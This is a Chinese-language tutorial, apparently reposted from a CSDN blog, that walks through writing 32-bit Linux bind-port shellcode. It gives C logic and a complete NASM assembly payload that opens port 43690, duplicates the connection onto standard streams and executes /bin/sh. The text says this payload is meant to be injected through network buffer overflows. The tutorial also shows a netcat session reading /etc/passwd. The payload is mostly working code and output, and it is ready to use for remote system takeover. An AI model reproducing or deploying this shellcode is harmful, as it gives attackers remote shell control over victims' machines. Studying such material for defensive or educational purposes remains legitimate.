码迷,mamicode.com
首页 > 系统相关 > 详细

如何写绑定端口shellcode

时间:2015-02-16 01:39:51      阅读:297      评论:0      收藏:0      [点我收藏+]

标签:缓冲区溢出   shellcode   绑定端口   

前面《如何编写本地shellcode》一文介绍如何编写shellcode取得shell进行交互。本文介绍另一个例子,绑定端口的shellcode。攻击通过网络利用缓冲区溢出漏洞,注入该shellcode,那就可以能过shellcode打开的端口进行利用。


Shellcode逻辑C代码

绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 代码如下:

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock, cli;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family  = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;

sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}

socket系统调用

上面涉及网络操作的有几个函数:socket,bind,listen和accept,其中参数最复杂的算是bind了。其实在i586下面,这几个均不是系统调用,它们背后的是sockcall这个系统调用,原型为:

int sockcall(int call, unsigned long *args)

那么上面几个函数最终如何调用sockcall的呢? 很简单,它们是通过call这个参数来识别到底是哪个函数调用,而args就一个数组,每个元素主是上面各函数的参数列表:

比如socket(2, 1, 0) 是这样调用sockcall的:

int socket(int family, int type, int protocol)
{
unsigned long array[3] = { family, type, protocol);

return sockcall(SYS_SOCKET, array); // SYS_SOCKET值为1
}

而bind函数调用也是类似的:

int bind(int fd, struct sockaddr *addr, int len)
{
unsigned long array[3] = {fd, addr, len};

return sockcall(SYS_BIND, array); // SYS_BIND值为2
}

其实函数类似,都是将参数打包成一个数组,然后传给sockcall系统调用。

开始编写Shellcode

好,我们开始编写汇编代码。由于sockcall系统调用只有2个参数,分别占用ebx和ecx,那个edx是没有使用,可以让存放0值,在需要0的地方直接使用edx.

初始化寄存器

eax, ebx, ecx在汇编代码中分别表示系统调用号、第一参数和第二参数,需要清零,同时edx需要长期保持为零。

BITS 32


xor eax, eax
xor ebx, ebx
cdq                   ;将edx清零

编写socket函数

socket(2, 1, 0) => sockcall(1, [2, 1, 0]) 其中2, 1, 0是数组元素,宽度为byte。因此分别将0, 1, 2压到栈上(栈向低地址生成,所以先压尾巴。

push    edx
push    byte 0x01
push    byte 0x02

此时的栈底就是[2, 1, 0]数组的地址,为sockcall的第二参数(ecx),故直接将esp值赋给ecx:
mov     ecx, esp

第二参数ebx目前值为0,需要增加1,才能变成2

inc     bl

sockall系统调用号为102,需要给eax赋值,然后进行系统调用:

mov     al, 102
int     0x80

系统调用返回后,它的返回值( 后面要使用文件描述符)存放在eax中,由于后面的系统调用要使用eax来存放调用号,因此需要把该sock存放到不使用的寄存器esi中:

mov     esi, eax

bind系统调用

说实话,bind系统调用应该是最难写的一个了。首先看一下struct sockaddr_in serv_addr 变量地的定义:

struct sockaddr_in {
u16sin_family;                            // 本例赋值为0x02
u16 sin_port;                               //  本例赋值为0xAAAA
u32 sin_addr;                              // 本例赋值为全零,表示本机所有地址
unsigned char sin_zero[8];        // 要求为全零
};

先压sin_zero[8],8个字节全零:

push    edx
push    edx

接着是sin_addr,4个字节全零

push    edx

接着是sin_port,2字节,值为0xAAAA

push    0xAAAA

最后是sin_family,2字节,值为0x0002,但不能直接push,因此这样会生成包含零字节指令。借用ebx值为1,先加1,再压到栈上:

inc     bl
push    bx     ; 只压2字节

OK, 整个serv_addr变量压到栈上了,它的地址为 esp,先要把该地址保存出来:

mov     ecx, esp

还记得bind是如何调用sockcall的吗?
sockcall(SYS_BIND, [sock, &serv_addr, 0x10])

刚才只是将serv_addr压到栈上,同时将它的地址暂时保存到ecx上,为了调用sockcall系统调用来实现bind函数,还需要将[sock, &serv_addr, 0x10]  这个数组压到栈上。记得是从尾巴压起:

push    byte 0x10           ; 0x10
push    ecx                      ; &serv_addr
push    esi                       ; sock

压完后,esp就是数组地址,作为系统调用第二参数,应该保存到ecx中:

mov     ecx, esp

第一参数SYS_BIND值为2,刚好ebx值也为2,不需要重新赋值,直接进行系统调用:

mov     al, 102
int     0x80

listen系统调用

最复杂的bind办妥了,listen只不过是小菜一碟,直接上代码,加上注释:

listen(sock, 0)  => sockcall(4, [sock, 0])

push    edx                   ; 0
push    esi                     ; sock
mov     ecx, esp            ;sockcall第二参数,[sock, 0]数组地址
mov     bl, 0x04            ; 4, sockcall第一参数
mov     al, 102
int     0x80

accept系统调用

同样也比较简单,请看注释:

cli = accept(sock, 0, 0)  => cli = sockcall(5, [sock, 0, 0])

push    edx               ; 0
push    edx               ; 0
push    esi                ; sock
mov     ecx, esp       ; [sock, 0, 0]地址,为sockcall系统调用第二参数
inc     bl                   ; 前一系统调用bl值为4,加1后为5,是系统调用第一参数
mov     al, 102
int     0x80

accept返回的是客户端的fd,后面的dup2操作都是围绕它来的,需要将该返回值保存出来,在后面的dup2中,该返回值作为第一个参数,直接将它保存在ebx中:

mov     ebx, eax

dup2系统调用

不用担心了,dup2是一个标准的系统调用,从它开始,就不需要构造数组做为参数了,可以松一口气了。为了减少shellcode长度,使用循环来实现3次的dup2系统调用:



; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)

xor     ecx, ecx
mov     cl, 3
loop:
dec     cl
mov     al, 63
int     0x80            ; ecx分别是:2, 1, 0,ebx为cli
jnz     loop

execve系统调用

还记得之前产生字符串的技巧吗? 直接将字符串的内容压到栈上,不要忘了从尾巴压起,同时要先压零,让字符串有结束符:

; execve("/bin/sh", 0, 0)

push    ecx                               ; dup2完后,ecx值为零,这里先压字符串结束符
push    long 0x68732f6e 
push    long 0x69622f2f       ; 这两句将"//bin/sh"字符串压到栈上
mov     ebx, esp                     ; 字符串地址,作为系统调用第一参数,放到ebx
mov     edx, ecx                     ; ecx值已为零,作为系统调用第二参数;同时赋给edx,系统调用第三参数
mov     al, 0x0b
int     0x80

完整的编汇代码

我们将该汇编代码放到bind.s文件内:

BITS 32

xor eax, eax
xor ebx, ebx
cdq

; soc = sockcall(1, [2, 1, 0])
push    edx
push    byte 0x01
push    byte 0x02
mov     ecx, esp
inc     bl
mov     al, 102
int     0x80
mov     esi, eax        ;store the return value(soc)

; serv_addr.sin_family = 2
; serv_addr.sin_addr.s_addr = 0
; serv_addr.sin_port = 0xAAAA
; bind(sock, (struct sockaddr *)&serv_addr, 0x10)
; => sockcall(2, [sock, &serv_addr, 0x10])
push    edx
push    edx
push    edx
push    0xAAAA
inc     bl
push    bx
mov     ecx, esp
push    byte 0x10
push    ecx
push    esi
mov     ecx, esp
mov     al, 102
int     0x80

; listen(sock, 0)
; => sockcall(4, [sock, 0])
push    edx
push    esi
mov     ecx, esp
mov     bl, 0x04
mov     al, 102
int     0x80

; cli = accept(sock, 0, 0)
; => cli = sockcall(5, [sock, 0, 0])
push    edx
push    edx
push    esi
mov     ecx, esp
inc     bl
mov     al, 102
int     0x80
mov     ebx, eax

; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)
xor     ecx, ecx
mov     cl, 3
loop:
dec     cl
mov     al, 63
int     0x80
jnz     loop

; execve("/bin/sh", 0, 0)
push    ecx
push    long 0x68732f6e
push    long 0x69622f2f
mov     ebx, esp
mov     edx, ecx
mov     al, 0x0b
int     0x80


编译和测试


使用nasm编译器进行编译:

$ nasm -o bind bind.s

然后使用之前写的sctest32测试工具进行测试。

运行Shellcode:

$ sctest32 bind

打开一个新端终,通过网络与Shellcode打开的端口进行连接,然后获取Shellcode,通过cat /etc/passwd命令获取系统帐号信息:

$ netcat localhost 43690
cat /etc/passwd                                       <-------------用户输入
root:x:0:0:root:/root:/bin/bash                <-------------Shellcode输出
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
......

只要运行了绑定端口Shellcode,攻击者主可以通过sh来控制整个系统。

小结

这里介绍的绑定端口Shellcode没有什么新新鲜的玩意,只是i586上的socket/bind/listen/accept不是真正的系统调用,需要做转换而已。难点是serv_addr结构如何压在栈空间上。这里使用的技巧和以前是完全一样的。


技术分享

如何写绑定端口shellcode

标签:缓冲区溢出   shellcode   绑定端口   

原文地址:http://blog.csdn.net/linyt/article/details/43838061

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!